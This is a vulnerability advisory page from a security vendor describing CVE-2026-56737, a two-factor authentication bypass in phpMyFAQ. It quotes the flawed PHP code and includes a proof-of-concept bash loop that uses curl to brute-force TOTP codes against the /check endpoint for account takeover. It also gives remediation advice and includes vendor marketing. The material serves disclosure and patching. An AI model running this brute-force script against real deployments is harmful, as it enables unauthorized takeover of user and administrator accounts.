CVE-2026-56737

CVE-2026-56737 is a high-severity improper authentication vulnerability in thorsten/phpmyfaq (composer), affecting versions >= 3.2.0, < 4.1.6. It is fixed in 4.1.6.

Does this CVE actually affect you?

Kodem shows which CVEs are reachable and running in your applications, so you fix what's exploitable, not just what's listed.

Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

Runtime intelligence, not another scanner.

Summary

phpMyFAQ's two-factor authentication login bypasses the password factor

The public two-factor verification endpoint POST /check logs a user in based solely on a valid
6-digit TOTP token and a chosen user-id. It does not require, and is not bound to, a prior
successful password authentication. For any account that has 2FA enabled, an unauthenticated attacker
can authenticate without knowing the password, reducing the account to a single factor (a 6-digit
code) that is itself brute-forceable because this endpoint has no lockout (see Finding #2). This is an
authentication bypass of the primary credential for all 2FA-protected accounts, including administrators.

Details

src/phpMyFAQ/Controller/Frontend/AuthenticationController.php:255-283:

#[Route(path: '/check', name: 'public.auth.check', methods: ['POST'])]
public function check(Request $request): RedirectResponse
{
    if ($this->currentUser->isLoggedIn()) {
        return new RedirectResponse(url: './');
    }

    $token  = Filter::filterVar($request->request->get('token'), FILTER_SANITIZE_SPECIAL_CHARS);
    $userId = (int) Filter::filterVar($request->request->get('user-id'), FILTER_VALIDATE_INT);

    if ($userId <= 0) { /* ... */ }

    $this->currentUserService->getUserById($userId);          // loads attacker-chosen user

    if (strlen((string) $token) === 6) {
        $result = $this->twoFactor->validateToken($token, $userId);
        if ($result) {
            $this->currentUserService->twoFactorSuccess();    // full login, no password ever checked
            return new RedirectResponse(url: './');
        }
    }
    // ...
}

twoFactorSuccess() performs a complete session login (src/phpMyFAQ/User/CurrentUser.php:239-247):

public function twoFactorSuccess(): bool
{
    $this->setLoggedIn(true);
    $this->updateSessionId(true);
    $this->saveToSession();
    $this->setSuccess(true);
    return true;
}

There is no server-side state (such as a "password already verified for this user" flag) tying the
/check step to the password step. Compare the admin flow, which does it correctly via a
2fa_pending_user_id session value set only after the password is validated
(src/phpMyFAQ/Controller/Administration/AuthenticationController.php:218-262), proving the frontend
omission is a regression, not an intended design.

validateToken() (src/phpMyFAQ/User/TwoFactor.php:87-101) returns false when the user has no secret,
so this is not a universal bypass of all accounts, it specifically defeats the password factor of
every 2FA-enabled account
:

public function validateToken(string $token, int $userId): bool
{
    if (strlen($token) !== 6 || $userId <= 0) { return false; }
    $this->currentUser->getUserById($userId);
    $secret = $this->currentUser->getUserData('secret');
    if (!is_string($secret) || $secret === '') { return false; }   // no 2FA -> false
    return $this->twoFactorAuth->verifyCode($secret, $token);       // 6-digit TOTP only
}

Because /check has no failed-attempt lockout and the per-account login throttle is disabled by default
(Finding #2), the 6-digit code can be brute-forced across TOTP windows. The net effect: 2FA, intended to
strengthen the password, becomes the only barrier and is independently guessable.

PoC

Pre-req: a target account (e.g. admin) has 2FA enabled (a common hardening choice). The attacker knows
or enumerates the numeric user-id (1 = first/admin account in default installs).

# No password required. Submit user-id + a 6-digit TOTP guess to /check.
# Iterate the token space; the session cookie returned on success is an authenticated session.
for code in $(seq -w 0 999999); do
  curl -ks -c jar.txt -b jar.txt \
    -X POST "https://target/check" \
    --data-urlencode "user-id=1" \
    --data-urlencode "token=$(printf '%06d' 10#$code)" \
    -o /dev/null -w "%{http_code} %{redirect_url}\n" \
  | grep -q './'   && echo "[+] logged in with token $code" && break
done
# A successful guess yields a logged-in session in jar.txt -> full account takeover (no password used).

If the attacker already controls or has phished the victim's TOTP device, a single request authenticates
with no password at all.

Impact

Authentication bypass (CWE-287) / missing authentication for a critical step (CWE-306). The password ,
the primary credential, is never required for any 2FA-enabled account. Combined with the absent lockout,
this enables full account takeover of users and administrators. Impacted: any deployment where users
enable two-factor authentication.

The application does not adequately verify the identity of a user, device, or process before granting access. Typical impact: unauthorized access to functions or data reserved for authenticated parties.

CVE-2026-56737 has a CVSS score of 8.1 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (4.1.6); upgrading removes the vulnerable code path.

Affected versions

thorsten/phpmyfaq (>= 3.2.0, < 4.1.6) phpmyfaq/phpmyfaq (>= 3.2.0, < 4.1.6)

Security releases

thorsten/phpmyfaq → 4.1.6 (composer) phpmyfaq/phpmyfaq → 4.1.6 (composer)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

Already deployed Kodem?

See it in your environmentNew to Kodem? Get a demo →

Remediation advice

Upgrade the following packages to resolve this vulnerability:

thorsten/phpmyfaq to 4.1.6 or later; phpmyfaq/phpmyfaq to 4.1.6 or later

Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.

Frequently Asked Questions

  1. What is CVE-2026-56737? CVE-2026-56737 is a high-severity improper authentication vulnerability in thorsten/phpmyfaq (composer), affecting versions >= 3.2.0, < 4.1.6. It is fixed in 4.1.6. The application does not adequately verify the identity of a user, device, or process before granting access.
  2. How severe is CVE-2026-56737? CVE-2026-56737 has a CVSS score of 8.1 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which packages are affected by CVE-2026-56737?
    • thorsten/phpmyfaq (composer) (versions >= 3.2.0, < 4.1.6)
    • phpmyfaq/phpmyfaq (composer) (versions >= 3.2.0, < 4.1.6)
  4. Is there a fix for CVE-2026-56737? Yes. CVE-2026-56737 is fixed in 4.1.6. Upgrade to this version or later.
  5. Is CVE-2026-56737 exploitable, and should I be worried? Whether CVE-2026-56737 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether CVE-2026-56737 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix CVE-2026-56737?
    • Upgrade thorsten/phpmyfaq to 4.1.6 or later
    • Upgrade phpmyfaq/phpmyfaq to 4.1.6 or later

Other vulnerabilities in thorsten/phpmyfaq

Stop the waste.
Protect your environment with Kodem.